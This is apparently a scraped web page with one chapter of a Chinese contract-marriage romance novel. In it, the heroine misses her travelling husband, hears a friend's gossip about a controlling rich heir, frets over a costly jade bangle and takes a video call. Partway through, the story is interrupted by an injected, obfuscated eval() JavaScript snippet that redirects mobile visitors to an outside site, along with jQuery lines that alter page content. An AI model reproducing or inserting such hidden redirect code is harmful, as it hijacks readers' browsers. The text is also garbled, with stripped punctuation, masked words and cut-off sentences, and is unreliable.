第38章 【双更合一】我说的是心……

作品:《暖栀[先婚后爱]

    进入六月中上旬,距离期末考只剩下两周的时间,宋暖栀的学习变得越发繁忙。


    她和沈宴之间,依然维持着“周末夫妻”的固有习惯。


    周一到周五,他们分隔两地,有各自的生活。


    周五晚上回到天瑾御苑,沈宴在那种事情上总是格外热烈,每次看着她的眼神深沉又炙热,像是能够把她生吞活剥了。


    他们约定了一周至少七次,沈宴从来都是只多不少,绝不亏待自己。


    宋暖栀有时候会觉得恍惚。


    如果放在两个多月前,她绝对不敢相信自己有一天会嫁给沈宴,还和他在床上如此合拍。


    转眼间又到了周五。


    下午最后一节课,老师


    讲完课后,距离放学还剩下十分钟,让大家自己复习。


    宋暖栀单手托腮,另只手熟练地在指尖旋转着写字笔,想到一会儿要回天瑾御苑,她脑海中不可避免地预想到今晚的一些画面。


    她定了定神,赶紧把脑子里那些乱七八糟的念头抛开,低头在笔记本上标记着重点。


    下课铃响,郝静对边上的宋暖栀道:“栀子,我的兼职快来不及了,你帮我把书带回宿舍吧。”


    “好。”宋暖栀接过她的书本,“你路上注意安全。”


    郝静应着,飞奔出教室。


    宋暖栀和其余两位室友抱着书本回宿舍。


    路上,于灵和乔恣意商议一会儿去小吃街,顺便在那边解决掉今天的晚饭。


    于灵问宋暖栀:“栀子,你又要回家?”


    宋暖栀点头:“嗯。”


    乔恣意纳闷:“你最近这两个月怎么每周都回家,我记得你之前一个月都不一定回家一次。”


    宋暖栀是宿舍里唯一的本地人,但她大多数时候,跟她们三个外地人一样,都是常驻宿舍。


    乔恣意仔细算来,好像也就最近两个多月不一样了。


    她撞撞宋暖栀的手臂:“家里有人勾魂?”


    宋暖栀笑说:“哪有,是家里换了新阿姨,做的菜好吃,我才想回去。”


    于灵和乔恣意顿时羡慕。


    于灵:“还是离家近好,每天吃食堂我都快吃腻了,好想吃我妈做的椰子鸡。”


    乔恣意:“我也想念家里阿姨做的菜了。”


    她看向于灵,“不行,今晚咱们两个也要吃顿好的,去吃烤肉怎么样?”


    于灵:“好呀好呀,就吃咱们常去的那家。”


    回到宿舍,乔恣意和于灵收拾着准备一会儿去吃水煮鱼。


    宋暖栀把郝静的书放到她的书桌,又走到自己的书桌前。


    低头看一眼身上的浅色上衣,她中午吃饭的时候不小心沾了油渍上去,如果待会儿被沈宴看到也太邋遢了。


    她决定先换一身干净的衣服再去天瑾御苑。


    打开衣柜前看到桌上正在充电的手机她拔掉手机充电线。


    她中午午休忘记给手机充电了上课前只有6%的电量。


    今天下午满课她也不需要玩手机索性上课时把手机留在宿舍充电。


    点亮屏幕宋暖栀意料之外地收到沈宴的微信:【栀栀我这周在外地出差周末可能不回。】


    这条微信是三个小时前发送的彼时她正在教室上课。


    宋暖栀盯着沈宴发来的消息薄唇轻抿指节无意间收紧几分。


    有那么一瞬间她清晰感觉到自己的情绪有些低落。


    宋暖栀不知道自己为何会有这样怪异的情愫。


    或许是因为她跟沈宴一样对夫妻间的那种事有些热衷。


    毕竟在性生活这方面并不是沈宴一个人尝到了甜头。


    尤其上个周末赶上了宋暖栀生理期。


    她虽然回了天瑾御苑但是两人什么也没做。


    她和沈宴已经两周没有那个了。


    她现在也有了生理需求会失落很正常。


    宋暖栀心里这般说服自己给沈宴回复了一个“好的”。


    她忽然觉得


    彼此都馋对方的身子。


    收起手机宋暖栀坐在书桌前犹豫还要不要回天瑾御苑。


    乔恣意出门前说要洗个头发于灵在衣柜前挑选一会儿出门逛街吃烤肉的衣服。


    见宋暖栀坐着不动于灵扭头:“栀子你不是回家吗?接你的司机还没到?”


    宋暖栀无奈道:“家里的厨师请假了吃不到好吃的菜我就不回了。”


    于灵冲她挑眉:“那跟我们一块儿去吃烤肉?多个人更热闹。”


    宋暖栀与她相视一笑:“也行。”


    宋暖栀和于灵、乔恣意玩到宿舍阿姨快关门才回来。


    当天晚上她直接住在了宿舍。


    次日睡到快中午想着之前答应过沈宴要再做一些“风吟”的香牌送给他今天刚好是机会宋暖栀去了花榭工作室。


    谢邀月正在接待客户宋暖栀先去香料库把需要用到的香材取出来回到自己的办公室。


    各种各样的香材摆满案桌她拿起一块乌木放在鼻端嗅了嗅淡雅的木质香混着泥土的清新醇厚内敛又带着一丝温柔的甜味。


    这香味很符合沈宴。


    她决定把之前的方子改良一下把乌木也加进去。


    正忙碌着谢邀月敲门进来。


    看到案桌前的宋暖栀她揶揄道:“你和沈宴周末不在家里如胶似漆舍得跑到花榭来了?”


    宋暖栀正把精选过的香


    料按比例倒入石臼中研磨闻声道:“他出差了。”


    “原来是他出差了你才想起这边来?”谢邀月啧啧两声“你还真是重色轻友。”


    宋暖栀幽怨地看她一眼:“我哪有不来这边主要是最近学习比较忙还要抓紧时间把手上几个宋氏的项目过一遍。你看我忙得最近连花榭的订单都不敢接了。”


    谢邀月走过来示意她面前的香料:“那这些又是做什么的?”


    宋暖栀继续研磨着石臼中的香粉:“我之前送沈宴的香牌他好像挺喜欢的


    谢邀月太了解宋暖栀顿时嗅出点不一样的味道:“花榭之前的客户对你的配方提意见你可是坚决不改的。如今却给沈宴量身定制主动修改配方栀子你对沈宴这么好你俩有情况啊。”


    她摸着下巴若有所思“动真心了?”


    “哪有。”宋暖栀否认道“主要是他对我很好我也得礼尚往来嘛。”


    她晃晃手上的青花玉镯跟谢邀月显摆“漂亮吧?他送的。”


    谢邀月捧起她的手腕险些看直了眼:“我去年在一份杂志上见过一个青花玉镯跟这个很像好像说是某个拍卖会上的压轴拍品。”


    她端详一会儿抬头看向宋暖栀“不会就是这一只吧?”


    宋暖栀想了想:“有可能是这种纯天然的青花玉每一只的纹理都不一样。质地顶级的玉里面就更难找到两个相似的。”


    谢邀月:“那这个可值不少钱我记得那份杂志上说过这是古董级拍卖会上的成交价过亿。”


    宋暖栀有些愕然:“这么贵?”


    她知道这镯子不会便宜但她心里的预估价是五百万左右。


    五百万的镯子对于宋暖栀如今手里的资产来说不算什么沈宴让她戴着她索性就天天戴着了。


    不过刚才听谢邀月说在拍卖会上见过宋暖栀觉得可能得上千万才能拿下。


    无论如何她都没想到这镯子会过亿。


    宋家虽比不上沈、简、闻这样的顶级世家但在本地也是数得上号的豪门。在澜城当地的富人榜里宋康裕能排前七位。


    不过宋暖栀跟着姥姥姥爷长大两位老人勤俭节约宋暖栀也受他们影响实在没体验过这么纸醉金迷的生活。


    一个亿放在宋暖栀的资金账户上她会很高兴觉得自己是个富婆。


    可若是把一个亿戴在手腕上她就有点惊吓了。


    这居然是个古董。


    沈宴让她去学校也


    戴着,她万一不小心摔碎了可怎么办?


    宋暖栀一直知道沈宴对自己很大方,可这一刻,她还是觉得沈宴大方的有点过头了。


    她若有所思片刻,看向谢邀月:“确定跟你见过的镯子很像?有没有可能,这镯子跟你在杂志上看到的不是同一个?


    谢邀月仔细回忆一会儿,也开始不自信:“我也说不好,已经是去**了,我具体也记不清那只镯子长什么样,早知道当时拍张照了。不过根据沈宴的身份地位,他真买了那种级别的手镯也很正常。


    宋暖栀当然知道,沈宴在拍卖会上拍下价值过亿的镯子轻而易举。


    但他把价值过亿的镯子送给她,也未免太让她受宠若惊了。


    或许沈宴是觉得他们结婚了,她作为沈太太不能太寒酸,佩戴这样的首饰更符合身份?


    谢邀月还在捧着宋暖栀的手仔细端详。


    宋暖栀的手很好看,手指修长,手腕纤细,像春日枝头初绽的玉兰花,有种温婉娴静的美。


    青花玉镯套在这样一只手腕上,质地温润,花纹淡雅,与雪色的肌肤相得益彰。


    谢邀月越看越喜欢:“沈宴不仅出手大方,还很会送人礼物,这种水墨画一样的青花玉很适合你这种偏古典气韵的淡颜系美人。


    她又真挚地感慨道,“沈宴真的很不错,对你体贴,为人绅士又有风度,跟我知道的那些资本权贵完全不一样。


    宋暖栀抬眸,好奇地问:“你知道的权贵是什么样的?


    谢邀月倚在香案前:“澜城和安芩的权贵圈我不知道,北城我知道一些,因为我大学在那边念书嘛。


    她神神秘秘地对着宋暖栀八卦,“他们有些人玩得可花了。


    谢邀月:“北城的云家你知道吗?


    宋暖栀点头:“沈宴的二婶云镜就是北城云家的,好像说是一个很有声望的世家大族。


    谢邀月:“对,就是沈宴二婶的那个云家。


    宋暖栀稀奇:“他们家怎么了?


    谢邀月:“我一个大学室友,长得可漂亮了,学校里好多人追,她大学没毕业就被家里人做主,和云氏家主的其中一个儿子订了婚,那个儿子叫云锋,估计是沈宴二婶的其中一个兄弟。


    宋暖栀惊呼:“跟二婶是一辈的,那岂不是年龄很大?


    谢邀月点头:“当年订婚的时候,听说都已经五十了,比我那个室友大了三十岁,云锋的大儿子也比我室友大五岁呢。但是没办法,她父母生意上要巴结云家,我那个室友又恰巧被云锋给看上了,最后就被父母当成了礼物。


    宋暖栀听得心惊:“你室友就这么嫁给一个老头子了?


    谢邀月


    摇头:“大概是我室友运气好,就在婚礼的前一周,云锋意外出车祸**。


    她看向宋暖栀,“你以为这事就算完了吗,她父母依然希望我室友和云峰冥婚,这样他们就是云氏的亲家了。这可是亲生女儿啊,完全不在乎我室友以后的日子。


    宋暖栀:“云家人接受了?


    谢邀月:“没有,云峰的大儿子云鹤归把我室友的父母狠狠奚落一顿,让保镖把人赶出了云家。我室友和云峰冥婚的事,这才算没成。


    宋暖栀终于呼出一口气:“你室友太不容易了。


    跟她一比,宋暖栀甚至都觉得宋康裕没有那么面目可憎了。


    谢邀月拿着杯子去饮水机旁接水:“这事还是没完。我室友后来又被云鹤归缠上了,就是那个差点成了她继子的男人。云鹤归在云家排行第七,圈里人叫他七哥,帅得逆天,能力比他那个死去的老子云锋强上千倍,是他爷爷云氏家主隔代选中的继承人。


    她端着水杯转头,看向香案前的宋暖栀,“你说他一个家族未来的继承人,想要什么样的女人没有,偏偏盯上我室友,感觉他就是个变态,老子看上的,他就也得玩玩,觉得刺激。


    宋暖栀说:“他这么胡作非为,云家这种注重名声的家族能同意?


    “明面上当然不同意,但云鹤归就是个疯子,能怎么着?而且豪门大族里,见不得人的腌臜事多了,在云家人看来,只要他们俩的关系不公开,我室友永远做云鹤归见不得光的地下情人,他们大概会睁一只眼闭一只眼。


    谢邀月捧着水杯折回来,小呷一口,“我室友现在只能等云鹤归哪天腻了,主动放过她。但是不知道这一天会不会来,云鹤归掌控欲极强,我室友的手机被他监听,去哪也都有保镖跟着,这么强的占有欲,可不像是会轻易放手的人。


    “那你室友现在还这样?是不是过得很艰难?</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15665701|162802||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    谢邀月想了想:“其实也还好,她不惹云鹤归生气的时候,云鹤归挺宠她的,钱随便花,她提的要求也会满足,就是什么都被监视,没私人空间。有次我跟她视频通话,云鹤归突然回来了,要她挂掉电话过去找他,我室友不听,云鹤归就走过来勒令她关掉,结果我室友反手给了云鹤归一个耳光。我当时都吓**,赶紧主动说挂断,事后一直担惊受怕,生怕我室友被云鹤归那个疯子报复。


    “终于再一次跟她联系上,我问起上次的事,我室友阴阳怪气地说云鹤归脸皮比长城还厚,早被她打习惯了,向来打不还手,人家不仅不生气,还觉得爽呢。后来我就琢磨着,云鹤归估计真喜欢上我室友了,但这个爱可能有点病态。


    宋暖栀听得有点瞠目结舌。


    消化好一会儿,她才感慨道:“那个云家太子爷确实挺疯。


    谢邀月:“是啊,不知道怎么会有那样的人。对比之下,沈宴简直出淤泥而不染,比普通男人有钱有地位有颜值,在同身份地位的男人里,他又性格好,做事稳重,跟这样的人结婚,你可得跟他好好的。


    宋暖栀指尖拂过腕上的玉镯:“我们两个本来就好好的。


    “我说的是心。谢邀月用手指点她的心口,“你要把他的心也给抓牢了,不然万一离了婚,这么稀有的结婚对象岂不是要白白便宜别人?


    宋暖栀垂下头,继续研磨香料:“这哪说得容易,走一步看一步吧。


    见她一提感情就逃避,谢邀月无奈摇头。


    宋暖栀表面看上去温婉脾气好,她其实是一个很难交心的人。


    小学,初中,高中,大学,因为性子好她每个阶段都会有几个关系还不错的同学。


    但只要升学时分隔两地,关系就会慢慢疏远。


    她从不主动维系感情。


    这么多年,谢邀月是她唯一一个真心相交的闺蜜。


    这要归功于两人从小一起长大,又都喜欢传统香的缘故。


    她交朋友都这么谨慎,更不要说对待感情了。


    谢邀月是真心希望她好,又出口劝道:“你和沈宴又不是刚认识没多久,他都照顾你好几年了,品行到底怎么样你心里都知道的。如今你们俩结了婚,他对你体贴照顾,感情方面你完全可以大胆一点。有感情的夫妻和没感情的夫妻,那相处起来的甜蜜程度肯定是不一样的。


    宋暖栀被她说的心里有些乱,手上忙着研磨香料,嘴上胡乱应道:“嗯,我再考虑考虑。


    又有客户上门,谢邀月轻叹一声离开。


    谢邀月的话,宋暖栀暂时还不愿深思。


    想到腕上的镯子是个古董,她有点心惊肉跳,犹豫片刻后起身去洗手间,在手上涂了点洗手液,试图借着泡沫的顺滑度把镯子取下来。


    结果试了几次,她把手都给挤压红了,镯子也没下来。


    明明记得上次沈宴帮她戴上的时候没这么费劲,没想到现在这么难取。


    宋暖栀怀疑自己最近是不是胖了。


    她暂时放弃取下玉镯。


    为了不把这一个亿给打碎了,她后面做什么事都格外小心。


    在花榭待了一


    天,晚上和谢邀月一起吃过晚饭,宋暖栀才回的天瑾御苑。


    沈宴不在,偌大的房子里有些冷清。


    好在还有黑尾陪着她,她一推开门,黑尾便喵呜着迎了上来。


    秋姨把它照顾得很好,身上干干净净的,毛发蓬松,还有股


    淡淡的香味。


    宋暖栀蹲下来摸摸它,把刚才路过花店买来的一盆栀子花找位置摆放。


    找了一圈,最后她决定拿去卧室摆在床头。


    这样明天一早醒来,就能闻到栀子花香。


    黑尾跟着她进主卧后一直没走,等宋暖栀洗完澡穿着睡衣出来,黑尾已经跳到了床上,窝在枕头边舒服地眯着眼。


    宋暖栀躺下后伸手去摸它,又注意到手上的玉镯。


    她抬起手腕,借着灯光仔细研究。


    越看越贵重。


    不知道这个点沈宴忙不忙,思索着,她发微信过去:【在忙吗?】


    隔了会那边才回:【约了人谈事。】


    宋暖栀不再打扰他,放下手机和黑尾玩。


    很快,手机又震动。


    沈宴:【有事找我?】


    宋暖栀想了想,觉得不能耽误他工作,镯子的事可以后面再找他确认:【也没什么,你先忙吧。】


    那边没有再回。


    宋暖栀看时间还早,决定看会儿书。


    临近期末考,她今天从学校回来时带了书本。


    卧室里亮着灯,静悄悄的。


    宋暖栀解完一道高数题,伸着懒腰活动两下脖子,拿起手机正要看时间,沈宴恰好发微信过来:【在做什么?】


    距离两人刚才的聊天,已经过去一个小时。


    他主动找她,想必是忙完了。


    宋暖栀好不容易解出一道较难的题目,心情正愉悦,直接拍了张解题步骤过去。


    拍照时,黑尾调皮地入了镜。


    沈宴:【在天瑾御苑?】


    宋暖栀:【嗯,白天去花榭了,顺便回来陪黑尾。】


    宋暖栀:【你忙完了?】


    消息刚发送,沈宴直接打了视频电话过来。


    他们两个从来没有打过视频,宋暖栀盯着手机上的视频邀请,心跳蓦地加快。


    她下意识低头看了下身上的睡衣有没有弄乱,又略微整理了一下随意散落下来的长发,深吸一口气,做足思想准备,这才点绿色按钮接起来。


    手机屏幕里,映出沈宴清隽利落的脸。


    他像是坐在沙发上,身后背景明显是酒店套房。


    沈宴问她:“先前有事找我?”


    “我就是想问你玉镯是不是很贵,其实打字就可以的。”


    宋暖栀一手举着手机,一手捞起一边的黑尾抱在怀里,胡乱撸着黑尾的毛发:“你怎么还突然打视频过来?”


    手机里,男人漆黑深沉的眼眸望着她,沉声道:“想看看你。”


    宋暖栀撸猫的动作微微一滞。


    即便隔着屏幕,她依旧能感觉到沈宴看自己时眼底的热意。